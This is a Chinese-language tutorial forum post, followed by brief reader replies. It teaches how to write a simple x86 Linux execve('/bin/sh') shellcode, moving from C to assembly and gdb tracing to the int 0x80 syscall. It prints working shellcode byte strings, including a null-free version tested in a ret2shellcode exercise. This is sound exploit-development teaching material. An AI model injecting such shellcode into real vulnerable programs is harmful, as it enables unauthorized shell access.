一个简单的shellcode如何写
## 最简单的shellcode```
execve("/bin/sh",0,0);
```
通过简单的汇编将这句shellcode描写出来
> eax = 0xb
>
> ebx = "/bin/sh"
>
> ecx = 0
>
> edx = 0
>
> int 0x80
```asm
section .text
global_start
_start:
xor eax,eax ;eax=0
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用,64位的话这里用systemcall
```
通过指令将汇编转化成可执行的二进制文件
```
$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o
$ ./shell
```
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112010951100.png)
## shellcode是如何获取的
我们先通过c程序写一个获取shell的代码
```c
#include<stdio.h>
#include<unistd.h>
void main(){
execve("/bin/sh",0,0);
}
```
编译后成功获取shell
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112010958506.png)
首先将c程序转化成我们想要的汇编代码
```
gcc -S -masm=intel shell.c -o shell.s -m32
```
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011006264.png)
这是动态链接的 大体意识是
```
push 0
push 0
push *"/bin/sh\x00"
call execve
```
这里有一个问题,如果我们像这样子去构造shellcode我们需要知道execve的调用地址;
当然,我们可以直接来看一下execve调用这些参数干了啥
gdb动态调试一下
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011015105.png)
这时候我们可以看到execve的三个参数已经入站,准备调用execve函数,我们按s进入函数内部看一下
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011019882.png)
我们看到他将
三个参数"/bin/sh",0,0分别传给ebx,ecx,edx,然后将0xb传给eax,
最终的到的结果是
```
eax=0xb
ebx="/bin/sh"
ecx=0
edx=0
```
我们看到后面还有个函数调用,我们进到里面看一下
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011027242.png)
这里调用了int 0x80(其他的push pop没啥用,维持栈平衡的)
## int 0x80
这里引用知乎上的文章解释int 0x80
https://zhuanlan.zhihu.com/p/358731121
操作系统提供了**中断指令int 0x80**来主动进入内核,这是用户程序发起的调用访问内核代码的唯一方式
- 用户程序中包含一段包含int指令的代码,通常是由库函数通过内联汇编插入
- 操作系统写中断处理,获取想调程序的编号
- 操作系统根据编号执行相应的代码
调用系统函数时会通过内联汇编代码**插入int 0x80的中断指令**,(不仅会插入中断指令,还会将系统调用编号设置给 %eax 寄存器)
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011045760.jpg)
### 简单的概括就是
int 0x80就是中断指令,执行eax内存储的系统调用号
shellcode中eax=0xb,也就是说execve的系统调用号是0xb
## 总结以上分析得到的shellcode
```
eax = 0xb
ebx = /bin/sh
ecx = 0
edx = 0
int 0x80
```
通过汇编将以上结论描述出来
```asm
section .text
global_start
_start:
xor eax,eax ;eax=0
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用,64位的话这里用systemcall
```
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011054243.png)
中间这一块机械指令就是我们要的shellcode
```
shellcode="\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
```
这里拿ret2shellcode为例,尝试我们编写的shellcode是否成功
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011151653.png)
这个shellcode执行失败,里面存在\x00
修改一下,将/bin/sh\x00修改成 /bin//sh
```asm
section .text
global_start
_start:
xor eax,eax ;eax=0
push eax ;将\x00 入栈作为截断
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用,64位的话这里用systemcall
```
```
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
```
!(https://github.com/chenggege666/mkdown/raw/mkdown/img202112011152382.png) https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.sh 用pwnlib的话很多都是现成的。 周末跟着学. 新手必备 学习了 有空试试 厉害了 围观大佬 有意思,学习一个 学习了,学习了:lol 学习使人进步